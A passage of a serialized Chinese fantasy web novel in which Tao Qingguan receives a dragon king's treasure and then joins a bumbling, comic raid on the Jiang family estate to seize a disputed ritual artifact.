陶笠鹤点了下陶清观手中其他的纸,说道:“简单来说就是两家在争夺一个礼器的归属权,最后他们决定在特管局的公证下,进行一场比试,赢的那一方获得礼器。” “懂了。”陶清观卷起那一沓纸,在掌心拍了一下,“我代表特管局去当裁判。” 陶笠鹤摇摇头,“你去当选手。” 陶清观脑袋上缓缓冒出一个问号,“为什么?我跟他们非亲非故的,关我什么事。” “又没说不许请外援。”陶笠鹤理不直气也壮,“他们听到你去还挺乐意的,大概是你参加中级雨师考试时的英雄事迹已经传出去了。” “不要。”陶清观一把将纸塞回去,“你自己去,吃力不讨好的活你倒是想起我了。” 输赢都得得罪一方,他吃饱了撑的去找事干。 陶笠鹤又把纸推回去,“我就说我没空,最近有个台风要来,我得去处理一下。” “台风?”陶清观瞥向陶笠鹤,眼神中充满不信任,“你还能让台风消失不成?” “那有点麻烦。”陶笠鹤振振有词,“一般改变台风的轨迹就行,像这次就是让台风调头。” 陶清观正用手机查看,最近确实有个台风要登陆,是从某个岛国过来的,如果让台风调头,那台风不得……他抬起头,望着陶笠鹤眯起眼眸。 多少有点私人恩怨在里面。 “没办法,自然灾害很难控制。”陶笠鹤摊手,“我们只能让它不经过我们国家,要完全控制它的轨迹是不可能的,它想到哪全看它自己心情。” 陶清观默默收起手机,当做无事发生,态度一百八十度转变,“我代替你去参加那什么比试,你专心应对台风。” “这就对了,爷爷回来会记得给你带特产。”陶笠鹤挼了两下陶清观的脑袋,他似是想起什么,对一旁的宴氿说道:“您拜托我去取的东西,我已经派人拿回来了,您现在要用吗?” 宴氿颔首,“东西在哪?” 陶笠鹤立即打电话通知人去拿,陶清观挪到宴氿身边,低声问道:“是什么东西?” 宴氿回答道:“我在海边有处居所,里面放着些小玩意,你大概用得上。” 龙王的宝藏啊,陶清观眼睛亮了。 不过片刻,一个半人高的木质大箱子被推进来,上面挂着生锈的铜锁。 待送东西的人离开,宴氿上前握着铜锁,也不知他怎么弄的,只听咔哒一声,锁掉了下来,箱子缓缓打开。 金灿灿的光芒笼罩办公室,陶清观眼睛都被闪到,他望着一箱子金银财宝,第一次对宴氿龙的身份有这么清楚的认知。 龙喜纳财,古人诚不欺他。 宴氿从里面拿出两件,在手上掂量了两下,不太满意,又把东西扔回去,他开口道:“我大部分藏品在海底,人类没法抵达,得我回去一趟,这里的东西你先将就着用。” 如果这算将就,陶清观都想不到更奢侈的场面,贫穷的泪水不争气地从嘴角流了下来。 陶清观在箱子前蹲下,随手捞起一块帝王绿的平安扣,不敢置信地问道:“这些都给我?” 宴氿嗯了一声,他不甚在意地扫过箱子里的东西,看到一个小海螺时,他的目光驻足,小海螺泛着幽蓝色的光芒,通体雪白,不过巴掌大小,宴氿捡起海螺,在手上把玩,开口道。 “这个除外。” 第74章 第 74 章 过往 陶清观瞥了眼宴氿手中的海螺, 长得一副不值钱的模样,他不感兴趣地收回目光,“哦。” 玉扳指, 金首饰, 绸缎,王……王冠? 陶清观拎着个链子一拽, 一串莹白圆润的珍珠被拽出来,每一颗都有拇指大小,其中还有几颗是粉紫色, 珍珠链子的末端挂着吊坠,依旧是金灿灿的。 他忽然有种随便卖掉一件,这辈子都不用愁的感觉。 陶清观一手抵着下巴,神色深沉,是先买一栋楼当包租公, 还是全卖了放银行收利息呢?环游世界也不错,能吃各地的美食,他可以提前退休, 人生圆满啊。 “想什么呢?”陶笠鹤戳了下陶清观的脑袋。 他看着一箱子珍宝, 纵使早有预料,也忍不住咂舌, 龙王果真财大气粗, 但陶清观与宴氿不过是契约关系,这些东西太过贵重, 不该收。 陶笠鹤轻咳一声, 开口道:“您太客气了,我们不能收。” 宴氿斜睨陶笠鹤,神色淡淡, “是给小观的,又不是给你的。” 陶清观在一旁连连点头,自动忽略宴氿称呼自己小观。 陶笠鹤语噎,他回头看向一脸财迷样的孙子,是压根没有把东西还回去的意思,陶笠鹤心梗了,他暗中给陶清观使眼色,这东西不能收。 他们与宴氿之间属于互利互惠的关系,特管局为宴氿在人类社会生活提供便利,而宴氿则会在相应的时候提供一定帮助,若是陶清观收下这些东西,关系的平衡虽然不至于打破,但会发生倾斜。 陶笠鹤脑袋隐隐作痛,只希望陶清观能明白自己的意思。 陶清观望着陶笠鹤,眼底浮现不解,“你眼睛抽筋了?” 陶笠鹤:“……” “我开玩笑的。”陶清观站起身把箱子盖上,见陶笠鹤还盯着自己,他开口道:“干嘛这幅表情。” 他下巴一昂,开口道:“你放心,我不会独吞,会分点给你的。” 陶笠鹤到嘴的话哽住,想打孩子的心情达到顶峰。 “这么多运回去有点麻烦。”陶清观无视陶笠鹤的黑脸,神色苦恼,“你能让刚刚送箱子的人帮忙送一下吗?” 陶笠鹤忍无可忍,“滚。” 陶清观:“嘁。” 连人带东西一起被丢出去,陶清观拍拍身上不存在的灰尘,他都能猜到陶笠鹤怎么想的。 眼不见为净~ 不过陶笠鹤还是答应陶清观帮忙把东西送回去,给他省了不少事。 陶清观伸了个懒腰,问宴氿道:“回家还是在外面吃个饭?” “我有点事要处理。”宴氿插在口袋中的手握着海螺,眼底是道不清的繁杂,“但要吃饭的话,我可以陪你吃完饭再去。” 陶清观诧异,宴氿这无所事事的家伙,也是有事做了,他开口道:“跟那个海螺有关?” “嗯。”宴氿对陶清观没有隐瞒,说道:“海螺是一对,很久之前我赠给了一位算是有恩于我的人类,承诺帮他一次,不过他早已去世,现在使用海螺的大概是他的后人。” “也不知道用多久了。” 要是几十年前用的,就算他去,怕也找不着人了,宴氿心底毫无负担,他只答应那人一个请求,对方的后代,能帮帮,不能就算,也不算他违约。 有概率是白跑一趟,所以宴氿不打算带陶清观,但要是陶清观黏他也不是不可以。 陶清观哦了一声,刻意拖长尾音,“说起来你也欠我一个愿望来着,你怎么到处欠人情。” “不一样。”宴氿勾起唇角,“我对他的限制是不能伤天害理,祸及人命,而对你……” 宴氿卖了个关子,他注视着陶清观清透的眼眸,目光温柔,“任何愿望都可以。” 陶清观举手,“我想当皇帝,国王也行,能统治世界吗?” 宴氿捏了下鼻根,眉心蹙起,“……这大概要花一点时间。” “啧啧,你还是不行。”陶清观摊手,无情道:“那我回家,你去办事。” 宴氿又好气又好笑,开口道:“另一个海螺离这边不算太远,最迟明天,我肯定回家。” 回家啊。 陶清观眼底有笑意晕染开,“不急,反正休息日我都在家躺着。” 他冲宴氿挥挥手,迈着悠闲的步伐往家走,边走,陶清观边看陶笠鹤塞给他的几张纸,大致就是讲了两家的关系,和那个被争夺的礼器的用处。 要他帮忙的是王家,听着好有霸总小说的风范,就是最近天凉——天凉王破,不吉利。 但他都不知道要比什么,而且三天后他还得上班,请半天假去走个过场,刷个脸算了。 陶清观准备收起纸,但就在这时他瞥见落款下面的日期是两天前,也就是说这个三天指的是明天。 他嘴角一抽,突然不想去了,没有人想休息日干活,没有人! 就不该嘴快答应,陶清观长叹一口气,不知道明天宴氿什么时候回来,不过这种小事对方在不在都一样,随缘了。 …… 另一边。 宴氿照着海螺的指引往前行,他化为原型穿梭于云雾之中,随着海螺的光芒逐渐强盛,宴氿听到有繁琐的经文在不远处回响。 如果他没记错,应该是祈福祭龙神用的,倒是赶巧了。 宴氿的身影一掠而过,直奔声音来处。 江琰站在江天霁的旁边,看着一群人在院子里跳大神,忍不住小声吐槽道:“我看龙王不会来,这都快一个星期了,要来早来了,为什么我们不直接拿着海螺去找龙王?” 江天霁乜了小儿子一眼,“安静,我们去,和他来,意义完全不同。” 这句话虽是斥责,却没有多少责怪的意思在。 江琰也知道江天霁宠自己,他吐了下舌头,压低声音道:“爸,你是没看到龙王宠那个姓陶的,别人说一句不好都不行,我跟他年纪差不多,长得也不差,龙王怎么没瞧上我。” “慎言。”江天霁略有些浑浊的目光盯着袅袅升起的檀香,“那件礼器必须拿到手,龙王现世这么长时间,不曾与任何势力交好,一直站在总局的背后,既然我们江家与那位龙王有渊源,借此机会交好才是上策。” 江琰撇嘴,“你之前不是说,龙王听着威风,实则一点权利没有,就是被一群人哄着驾到高位,不足为惧嘛。” “这些话不再说。”江天霁眉心有一道很深的褶皱,两边法令纹清晰可见,面无表情时就是一副骇人的样子。 江琰到底还是惧怕这位不苟言笑的父亲,他讪讪闭上嘴。 忽然间,风起云涌,天色变换,院内所有的人神色一凌,虔诚地弯下腰。 宴氿就是在这样的情况下现身,他在半空中不疾不徐地走近,一眼认出这群人中地位最高的那个。 他俯视着江天霁,嗓音漠然,“是你找我?” 江天霁颔首,“您愿意光临寒舍,实在是江某的荣幸。” 宴氿目光中带着审视,老实说帮他的那个人是不是姓江他已经记不清,长什么模样他脑海中也是一片模糊,只依稀记得对方递来的食物味道不错。 他敛下眼眸,无意于江天霁寒暄,“想让我做什么?” “我听闻您喜欢品茶,特地寻来上好的新茶。”江天霁提前调查过宴氿,对宴氿的喜好有一定了解,他那张肃然的脸露出笑容,“您请进,我们坐着慢慢聊。” 宴氿不着痕迹地蹙眉,他见过的人类不知凡几,而江天霁恰巧是他最讨厌的那一类。 两面三刀,道貌岸然,城府深,心底满是弯弯绕绕,他不讨厌聪明人,但讨厌对方把那些小心思都用到自己身上。 宴氿跟着江天霁走到屋内,入眼是充满年代感的家具,皆由纯木打造,与这座古老的四合院相映照。 他简单扫视,对江家目前的状况有了个大概的认知,看来没法用钱解决这次的事了。 江天霁做了个请的手势,待宴氿坐下后,他才落座,跟着进来的江琰乖乖坐在下首。 江琰偷瞄着宴氿的侧脸,想搭话,又碍于江天霁的威严不敢开口,他两手交握在身前,心底打着小九九。 “您请。” 江天霁为宴氿斟茶,静静等待宴氿品尝,完全不着急提起自己的所求。 宴氿指尖轻点着桌面,随意抿了口茶水,言简意赅,“说事。” 江天霁观颜察色的本事自然是有的,察觉到宴氿不耐烦,他立即娓娓道来:“先祖将江家发扬到现在的规模实属不易,我接过家主的位置就做好挑起大任的准备,可世事变迁,江家逃不开没落,如今更是摇摇欲坠。” “若是江家败在我手上,百年后我无颜面对先祖,还请您帮助江家渡过难关。” 宴氿把玩着茶具,连个眼神都没分给江天霁,语气中透着漫不经心,“说半天也不说难关是什么,不说清楚,还指望我答应?” 江天霁神色不变,“先祖曾告诫过,不能依赖您,晚辈谨遵教诲,只想请您在后方坐镇,现在的江家虽不及全盛时期,但也不到无一人可用的地步,江家后人不惧挑战,也输得起。” “但若是对方用上见不得光的手段,还请您出手。” 宴氿不置可否地嗯了一声。 下边的江琰沉不住气,愤愤不平道:“您是不知道,那群人跟土匪一样,横行霸道,仗势欺人,我们不想跟他们计较,他们却蹬鼻子上脸,非说我们祖上传下来的东西是他们的,又拿不出证据,还四处闹事,搞得那群记者整天盯着我们,出个门都麻烦。” “小琰。”江天霁开口制止,但时机挑的很妙,该说的不该说的,江琰都说完了,而且江天霁没有反驳的意思,显然是默认江琰的话。 宴氿眼底不见笑意,他勾起唇角,意味不明地开口:“是么。” 第75章 第 75 章 要一起上厕所吗? “你再说一遍要我做什么?” 陶清观甚至怀疑自己听错了, 也不敢相信自己的耳朵。 王珍宝赔笑着说道:“去江家抢,不对,拿回那件礼器。” 陶清观皱眉, “不是比试吗?怎么成明抢了?” “没办法。”王珍宝擦了下额头上不存在的虚汗, “江家不肯把礼器拿出来,不过你放心, 既然特管局同意做公证,我们去拿就是合法的,各凭本事。” 陶清观沉默不语, 他看看一脸谄笑的王珍宝,又看看车里透着浓浓暴发户味的布置,有种自己登上贼船的感觉。 要抢东西就算了,可车上抛开司机,就他和王振宝两个人, 就这么直冲冲的往敌方大本营去,除了送人头,他想不到更合适的形容词。 更何况王振宝看着有四五十岁, 腆着个大肚子, 完全不像能打的。 陶清观木着脸,握住一旁的车把手, 开口道:“司机停车, 我要下车。” “别啊。”王振宝赶忙拦住陶清观,“来都来了, 好歹先试试, 钱我双倍,不三倍给你。” 怎么听着这么像买命钱。 陶清观被缠得没办法,无奈道:“不是钱的问题, 你们家其他人呢?总不会就我们两个。” 王振宝不好意思地笑笑,“小孩要补课,大人要上班,我们家做自体经营的,没有休息日。” 陶清观麻了,彻底麻了,想走的心更加坚定,他拉开王振宝的手,“我去买个东西,你们先走。” “什么的东西?”王珍宝热情地问道:“我叫司机帮你去买。” “不用。”陶清观假笑,“我紧张的时候喜欢一个人走走,放松心情。” 王振宝胖脸揪在一起,有些为难,“那我在前面的超市放你下来,我在外面等你。” 陶清观比了个OK的手势,待车子停下,他头也不回地走进超市,陶清观用余光注意着身旁,王振宝意外地好骗,说等着,居然真没跟上来。 他为数不多的良心隐隐作痛,但追究起来,还得怪爷爷乱答应别人,也不提前问清楚,把当土匪的事都扔给他。 陶清观拿出手机发消息控诉陶笠鹤,结果石沉大海,半点反应都没有,也不知道是忙着台风的事没看见,还是使用了传统艺能——装死。 他臭着脸收起手机,从超市另一个门走出去,本来陶清观是想直接回家,但想了想他脚尖还是调了个方向,从小巷子绕出去,走进超市隔壁的奶茶店。 陶清观点了杯奶茶,坐在被花瓶遮挡的位置,透过玻璃门观察王振宝。 对方等不到他出来,大概率会进去找,找不着人应该就会放弃那荒谬的计划,然后他们愉快的各位各家,各找各妈。 陶清观吸了口奶茶,静静等待,果不其然王振宝和他想得一样走进超市,没过多久对方就脸色难看的从超市出来,回到车上,车子重新启动。 计划通。 陶清观站起身,准备离开,但回想刚刚骑车离开的方向,他察觉到不对劲,那不是来时的方向,他猛地回头,看着远去的车屁股,嘴角抽搐。 不是吧,到这种地步还想着去抢劫,他对这份职业爱得是有多深沉。 陶清观迈出去的脚瞬间走不动了,他眉心拧成一个川字,陶笠鹤了无音讯,宴氿昨天跟他说找到个好东西,今晚给他带回来,能让他摇的人就那么几个,现在都指望不上。 陆满满倒是能来,但对方要考公,要是因为打架留案底就完犊子了。 陶清观眼神沧桑,累了,主要是心累。 他戴上卫衣的帽子,在路边拦下一辆出租车,上车后,他指着前方在等红绿灯的王珍宝的车,对司机道:“跟上前面那辆车。” 司机用一种不同寻常的目光打量着陶清观,宛如吃到什么惊天大瓜。 见绿灯了,司机还没发动,陶清观催促道:“我叔背着我婶婶出去找小三,你快点。” 司机师傅眼睛一亮,踩下油门追上去,他啧啧道:“这种有钱人玩得都花,还管不住,你婶婶委屈了。” 陶清观敷衍地嗯了两声,仍由司机自己脑补。 他心底盘算着,先去现场看看,如果场面一发不可收拾,他就报警,作为一个合格的好公民,他绝不会放任聚众斗殴的事在眼前发生。 王振宝的车越开越偏,渐渐地路上就剩下寥寥三四辆车,他们的目标太过明显。 陶清观在一个拐角前叫停司机,付完打车费,他向‘依依不舍’的司机告别,在对方惋惜的目光中走上人行道。 本来他以为兰爵庄园一处小区,结果这真是一处庄园,还是江家的财产,看着地图上庄园的占地面积,陶清观头疼。 这就是直接放他们进去找,一天时间也不一定能找到礼器在哪,王振宝真是不撞南墙不回头。 陶清观远远坠在车子后面,他看着王珍宝在一处竹林前停下车,鬼鬼祟祟地从车上下来,钻进竹林里,一番动作偷感十足。 没救了。 陶清观很想调脸走人,但事情发展到这个地步,扔下王振宝不管又不道德,陶清观的道德在和理智打架。 最终他丧着张脸跟上王珍宝,还没走几步路,就看见一颗肉球挂在围墙上,上不去下不来,球身瑟瑟发抖。 陶清观:“……” 他扫了眼周围,也不知道是监控装得太隐蔽,还是根本没安装,陶清观没找着监控的影子。 沉默了一会,陶清观翻上围墙,拎起王珍宝的衣领,带着人跃过去,双脚落地,他松开手,甩了甩手腕。 忒沉。 王珍宝吓了一大跳,但一看是陶清观,他抬手抹了把辛酸泪,“我就知道你肯定会回来的。” 陶清观没搭理王振宝,这座庄园里的灵乱糟糟的,让他本能地感到不适,他看了眼手机界面,最上面无信号三个字尤其醒目。 他好像知道这里为什么没有安装监控了。 陶清观乜向还在擦眼泪的王珍宝,问道:“你这么冲进来,不怕是瓮中捉鳖吗?” 王珍宝不以为意地摆手,“他们还能杀了我不成,没事的,要是他们敢动手,我就往地上一躺,让他们赔钱。” 陶清观合理怀疑王珍宝会成为暴发户就是靠这么一手,他抬手搭在王振宝肩膀上,开口道:“记得一边用力抽搐,一边口吐白沫,这样比较唬人。” 王珍宝一拍胸脯,说道:“包在我身上。” 陶清观拍拍王振宝的肩膀,面上一副都交给你的模样,他问道:“你想好从哪开始找了吗?” “顺着灵……”说道一般,王珍宝卡壳,这里的灵都乱成一锅粥,用灵显然不现实,他话锋一转,“从外表豪华的屋子找起,礼器那么大,跑不了。” 王珍宝指向不远处一间屋子,“就从那开始。” “嗯。” 陶清观也不发表意见,跟在王珍宝后边,靠近屋子时,他问道一股熟悉的熏香,而这种熏香一般用于……厕所。 看着前方撅着屁股往屋子里瞅的王珍宝,陶清观扯了下嘴角,他推了王珍宝一把,说道:“不可能在里面。” “不看看怎么知道。”王珍宝倔强地走进去,此刻他还没发现哪里不对劲,直到他看见一拍整整齐齐的小便池,他沉默了。 王珍宝扭头问陶清观,“要一起上个厕所吗?就当战前准备。” 陶清观略有些嫌弃地拒绝,“不用,你自己上。” 王珍宝,“哦。” 一路走来他心底紧张,这会儿看见厕所还真有点尿意,他解开裤腰带,刚要掏,后背遭受一记重击。 陶清观一把将王振宝推向里面,他贴着墙目光紧盯着门口,压低声音说道:“有人过来了,安静。” 好在外面路过的两人没有上厕所的意思,连一眼都没往里面看。 陶清观松了口气,回过头发现王珍宝不在自己背后,他心底纳闷。就在这时,一只手伸出来。 “我在这。” 陶清观循声望去,看见小便池中坐着茫然不知所措的王珍宝,对方两手交握在胸前,冲他露出一个拘谨的笑容。 一时间场面陷入诡异的安静之中。 “呃……”陶清观试图安慰,“你刚刚还没上厕所,是干净的。” 王珍宝干巴巴地笑了两声,“是啊,上一个人肯定冲了。” 这句话还不如不说。 陶清观在心底吐槽,面上坚定地点了下头,他感觉王珍宝快碎了,俗话说往事不堪回首,陶清观岔开话题,“我们去下一个地方。” “好。”王珍宝从小便池里爬出来,他那点尿意消散无踪,拖着湿哒哒的裤子走出厕所。 陶清观告诉自己,要若无其事,不能再伤害王珍宝脆弱的小心脏,然后他向旁边挪了一步,和王珍宝拉开距离,问道:“接下来往哪走。” 王珍宝一张胖脸垮了下来,他垂头丧气,随便挑了个屋子,说道:“就那个吧。” 陶清观装作没发现王珍宝的小情绪,继续跟在对方后面,就是这一次他们之间隔了一米多远。 从后面看,王珍宝被水打湿的裤子更加醒目。 陶清观默默把脸瞥向一旁,他是受过专业训练的,不能笑。 忽然,走在道拐角处的王珍宝停下来,并给陶清观做了一个快跑的手势。 陶清观一秒理解,是撞见人了,他悄悄后退,见身旁的屋子有凸起的地方可以落脚,他干脆接力控风翻到屋顶上。 视野瞬间开阔,陶清观往下看,倒在地上的王珍宝最为瞩目,他睁大眼睛。 这不是必杀技吗!?开局就用了,后面还怎么玩。 第76章 第 76 章 陶清观:生活总要有点惊…… 王珍宝梗着脖子抽搐, 一路滚到两人脚下,那两个人被吓得大步后退。 矮的那个拱了下高个,“这什么情况, 要不要去叫人?” 高个盯着王珍宝看了一会儿, 用脚尖踢了下王珍宝的肩膀,开口道:“像装的, 这是王家的人吧。” 王珍宝听到这话,心头一紧,忽然他感觉到一阵风拂过脸颊, 他福至心灵,抬起头看见陶清观在屋顶上给自己做口型。 吐白沫。 王珍宝秒懂,歪着脖子就开始往外吐,一边吐一边掐着脖子翻滚,嘴里发出断断续续地呜咽声, 两眼直往上翻。 矮个慌了,“我还是去叫人,你在这看着点。” “就会给人找事做。”高个神情鄙夷, “你快点去, 要是他是在我们这里就麻烦了。” “知道了。”矮个匆匆忙忙跑开。 高个瞥见王珍宝裤子上湿了一块,以为对方是控制不住尿裤子, 他看王珍宝的眼神越发嫌弃。 他捏着鼻子走开, 想找个地方坐着等,电光火石间, 一道人影出现在他背后, 高个瞳孔骤缩,但口鼻被捂住发不出任何声音。 陶清观把人敲昏后,将人拖到一旁的草坪上放下, 确保不会被路过的人踩到,他拍拍手,回到王珍宝身边。 “可以起来了,你脑袋撞得不疼吗?” 王珍宝演得十分卖力,后脑勺连撞好几次地面,他敬业地无视,只管在那眶哐哐,看得出来,颅骨质量挺好的。 听到陶清观的话,王珍宝从地上爬起来,他向陶清观竖起大拇指,“不错,我们果然很有默契。” 管这个叫默契,陶清观扯了下唇角,槽点太多,一时间他竟不知道从哪说起,清楚此地不宜久留,陶清观开口道:“走吧,去前面那个房子接着找。” 王珍宝抬脚跟上,胖脸上浮现忧虑,“我这张脸会不会太招摇,是不是做个伪装比较好。” 陶清观头也不回,“没事,挺适合吸引火力。” 王珍宝摸着自己的脸,陷入沉思,他转身回头,脱下昏迷的那人的外套,往脑袋上一裹,露出一双眼睛,认真地对陶清观说道:“这样就可以了。” 哪里可以,分明是更可疑。 陶清观欲言又止,欲止又言,最终他默默把卫衣的帽兜戴上,又从口袋中掏出一个口罩,他系好挂在帽兜上的身子,又用口罩把脸捂住大半,跟王珍宝一样就露双眼睛在外面。 他满意了,有些人看似戴上了面具,实则摘下了面具,只要他的脸不被看见,丢得就不是他的脸。 陶清观大手一挥,开口道:“我们正面进攻。” 王珍宝也多出迷之自信,“我们可以直接绑个人问问礼器在哪。” “他们不一定说实话。”一个敢说一个敢想,陶清观略微思索,“找个地位高点的绑了,让他们拿礼器换。” “好主意。”王珍宝两手一拍,“这不就跟那个绑架差不多,不交赎金我们就撕票,一个不行,我们就多绑几个。” 陶清观:“那不行。” “也是。”王珍宝开口道:“这有点……”过分。 他话还没说完,陶清观接着道:“我们就两个人,人质太多控制不过来,抓两到三个就行。” 陶清观干坏事,脑袋瓜转得贼快,“刚刚那个人不行,看着就像炮灰,等会儿你挑个年纪大点的,往他面前一倒,或者把人抱住,我找机会下手。” “年纪也别太大,万一吓出个好歹,要赔钱。” 王珍宝觉得有道理,他点头道:“行,你放心,以我的身材,还没人能逃脱我的魔爪。” 他挺起自己的大肚子,骄傲地拍了拍自己的肚皮,以他的的吨位,那是一压一个准。 陶清观看了眼王珍宝,对他委以重任,“看你的了。” 王珍宝坚定地嗯了一身。 两人一个裹着脑袋,一个戴着帽兜口罩,宛如土匪进村,把庄园当成无人之境,直冲中央的建筑。 王珍宝秉持着打不过就躺,等陶清观出手他就跑的原则,步伐走得愈发六亲不认,他讹人的姿势也是越发熟练,说抽就抽,不带半点犹豫。 他完全沉浸在自己的艺术中,不知天地为何物。 …… 另一边。 庄园里喧闹的动静很快引起江天霁的注意,他眉心的褶皱更深,对下属道:“就两个小贼,磨磨唧唧到现在还没抓住?” 下属有苦说不出,王珍宝滑不留手,另一个不知名的家伙更是控得一手好风,藏在暗处打了他们几次措手不及,再加上庄园内灵的布局紊乱,他们根本没法准确追踪。 深知此刻说得越多,只会被骂得更惨,下属低下头,将情况简单汇报,“江云庭和江云封被他们绑走,王珍宝说要么拿礼器交换,要么他们就撕票。” 这两人根本不按常理出牌,他们早就选好人和王家对决,可等半天人没等到,倒是等到江云庭被绑架的消息。 不仅如此,王珍宝还堂而皇之地闯进厕所,正在上厕所的江云封裤子都没提就被抓走,在人最脆弱的时候动手,这个王珍宝简直不是人。 江云霁听完全过程,面上的表情变得有几分古怪,他沉吟片刻,开口道:“先锁定他们的位置,我马上过去。” 下属应了一声,快步离开。 “我就说这些人尽会使一些下作的手段。”江琰怒气冲冲,他望向一旁仍在品茶的宴氿,语气中带上委屈,“换做以往,哪有人敢对江家出手。” 宴氿拿着茶杯,勾唇轻笑,他对江家怎么样不关心,但来闹事的人倒是挺好玩的,来抢劫却如此明目张胆,是有恃无恐,还是单纯的莽夫。 他望着杯壁上的纹路,像是在看什么深奥的难题,完全无视江琰。 江琰面上闪过一丝难堪,他攥紧拳头不敢发作,他不明白,从头到尾他都没得罪过宴氿,为什么宴氿会如此不待见他。 他还是宴氿恩人的后代,不看僧面看佛面,可宴氿却从未给过他好脸色。 指甲嵌入肉中,江琰压下那些不甘的情绪,他控制自己冷静下来,露出笑脸凑到宴氿面前,“您的心情似乎不错,是想到什么好玩的事吗?” 宴氿掀起眼皮,对上江琰笑盈盈的视线,他不疾不徐地抿了口茶,不置可否地应了一声。 他虽然对年龄小的会多点耐心,但他不喜欢虚伪的孩子,更不喜欢被人当做好胜心的装饰品。 宴氿脑海中浮现陶清观的笑颜,他放下茶杯,在心底轻叹一口气,早点把人情还完,早点回去找陶清观,休息日还是和对方腻歪在一起最开心。 周围的灵太过紊乱,导致他都没法通过契约感应到陶清观,他讨厌现在的情况。 宴氿放下茶杯,站起身,对江天霁说道:“我跟你一起去。” “这点小事不用您出手。”江天霁开口道:“虽然他们手段肮脏,但他们只有两个人,我们可以解决,不过您放心,答应给您的东西我们会准备好的。” 一个人情没还完,又要多欠一个人情,不划算。 宴氿在心底权衡,江天霁给出的东西是他所需要的,如果他预想可以实现,那样东西是不可或缺的一环。 为了陶清观能够长久留他在身边,他不介意用些手段。 宴氿眯起眼眸,说道:“东西我会用更高价值的东西交换,海螺只能使用一次,你们还有什么请求,趁现在直接明说。” 江天霁本意是与宴氿维系起良好的关系,听到宴氿的话,他不动声色地开口:那就请您跟我一道去看看,若是有什么万一,麻烦您出手了。” 宴氿:“嗯。” 三人走出庭院,向一处凉亭前行,江琰走在最后面,他看着宴氿的背影,面上笑容逐渐消失。 江琰咬着拇指指甲,烦躁的情绪又涌上心头,他这辈子顺风顺水,无论是谁,看在江天霁的份上都会给他几分面子,还从未遇到过宴氿这种油盐不进的。 他姣好的面容有些扭曲,一个想法在脑海中形成。 走到凉亭,中央的矮桌上摆着好茶水和点心,四周挂起轻薄帷帐,隔绝蚊虫干扰的同时,又不影响欣赏外面的景色,反倒增添一份朦胧的美感。 不远处躲在竹林里的王珍宝探着身子往凉亭看,嘴里嘀咕着:“那男的看着像个大人物。” 他回过头,对陶清观道:“我们去把凉亭里的那个人绑了,这两个人一点用没有,等到现在江家也不交赎金。” 陶清观顺着王珍宝指地方向看过去,中间阻碍物太多,他看不真切,但排场这么大,肯定是个人物,他琢磨了一下,开口道:“凉亭附近太空旷,没地方躲。” “这个简单。”王珍宝昂起下巴,“我去吸引他们的注意,你直接飞过去,抓住那个男人,然后我们就逼他们交出礼器,不然就把那男的扔进湖里喂鱼。” 王珍宝说完,感觉十拿九稳,他自信满满地开口:“我已经想好怎么吸引他么注意力的法子了。” “行叭。” 有时候越粗糙的手法成功率越大,就像王珍宝又误闯厕所,结果还抓到个人质一样,生活总是需要一点点惊喜的。 陶清观跟王珍宝定好暗号,然后就看着王珍宝拎起两个人质,大摇大摆地走出竹林。 凉亭中,江天霁开口道:“两位跳梁小丑,不足为惧,您看着便是。” 宴氿一条胳膊搭在凉亭边的围栏上,漫不经心地应了一声。 江琰趁机坐到宴氿身旁,怯生生地望着宴氿,“我能和您拍个合照吗?” 宴氿还没回答,一个人忽然砸向这边,挡在他身前的江琰首当其冲,跟那人滚作一团掉进湖里。 本来宴氿是能救的,但他以为江天霁会出手,而江天霁估计也是以为宴氿会救人,结果就是江琰跟飞过来的那人一起掉水里物理意义上的冒泡。 第77章 第 77 章 陶清观&宴氿:“你怎么…… 与此同时另一个人质从凉亭外边飞过, 江天霁脸色阴沉,他抬起手,一阵风卷起空中的人, 将其放在地面上。 湖里的两人也被水托起, 扔入凉亭中,江琰掉下去前正在说话, 呛了不少水,他捂着嗓子咳嗽,眼底闪过一丝怨毒, 很快又消散无踪。 江琰泪眼汪汪地望着宴氿,委屈道:“他们欺人太甚。” 另一位倒在地上的江天封低着头不敢说话,让江家在龙王面前丢这么大脸,江天霁肯定会找他算账,他努力降低存在感, 希望江天霁把他忘了。 宴氿好整以暇地望着狼狈的二人,他偏过头问道:“还是不需要我出手吗?” “让您见笑了。”江天霁压下眼中的戾色,转而换上无奈的表情, “我们不愿意将事情闹得太僵, 没想到他们却得寸进尺,如此冒犯到您, 真是抱歉, 接下来我们不会再手下留情。” “无妨。” 宴氿没觉得冒犯,他看乐子看得挺开心的, 出手的人有控制力道, 无意伤人性命,就是不知道对方整这么一出是什么意思。 他的目光投向凉亭外,王珍宝强装镇定地站在那。 王珍宝心底慌得要死, 他的计划是分开扔两个人,这样凉亭里的人为了救人就会分开,谁知道里面的人这么厉害,坐着就把人救了。 感受到一阵强劲地风向自己袭来,王珍宝下意识反击,可江天霁的实力远比他想象中厉害,不消片刻他就落于下风,而凉亭中另一个人甚至没有出手。 王珍宝心中一凌,明白自己不是江天霁的对手,就算加上陶清观这事也悬 好汉不吃眼前亏,王珍宝转身就跑,但江天霁出手的速度十分果断,直奔王珍宝而来,眼见逃不掉,王珍宝干脆顺着风的方向,加速撞向江天霁。 江天霁一个不察,给王珍宝拱飞,不等他反应过来,王珍宝一屁股坐在他脸上,湿漉漉沾着味的裤子将他罩得密不透风,江天霁差点被熏晕过去。 王珍宝的心在给不给信号中摇摆不定,但看见天空掀起雷霆,闪电游走于云端,他心底咯噔一声,赶忙给陶清观打信号,大声喊道:“不管亭子里那个,我们带这个人走。” 可雷声太吵,距离又太远,陶清观根本没听清王珍宝在说什么,他见王珍宝制服一人,又给出信号,便立即动身冲向凉亭中的另一人。 凉亭内。 宴氿站起身,眼底泛起戏谑的效益,江天霁被压,其他江家的人不敢轻举妄动,站在一旁的江琰脸都绿了,完全不见刚刚楚楚可怜的样子。 虽然看热闹挺好玩的,但他到底乘了江家的情,事情到这个地步,也该他出手了。 宴氿走到凉亭外,青丝随风飞舞,衣袂翩跹,狂风未能挡住他的脚步,恶劣的天气也为影响到他分毫,他如仙人遗世独立。 就在这时,宴氿感觉到空中传来异样,他勾起唇角,另一人的目标居然是他么,有胆量。 宴氿头也不抬,风浪顷刻间奔涌而起,这种强度,纵使江天霁应对,也够呛,可空中的人只是动作微顿,又加速冲下来。 他眉心微蹙,后退半步,抬脚准备将人踹开,可当他对上那双明亮的眼眸,脚上的动作倏然僵住,他下意识打开双臂,想接住落下的人。 陶清观眼睛睁大,没料到这个穿古装的是宴氿,但这会儿因为惯性,他来不及刹车,结结实实撞进宴氿怀里。 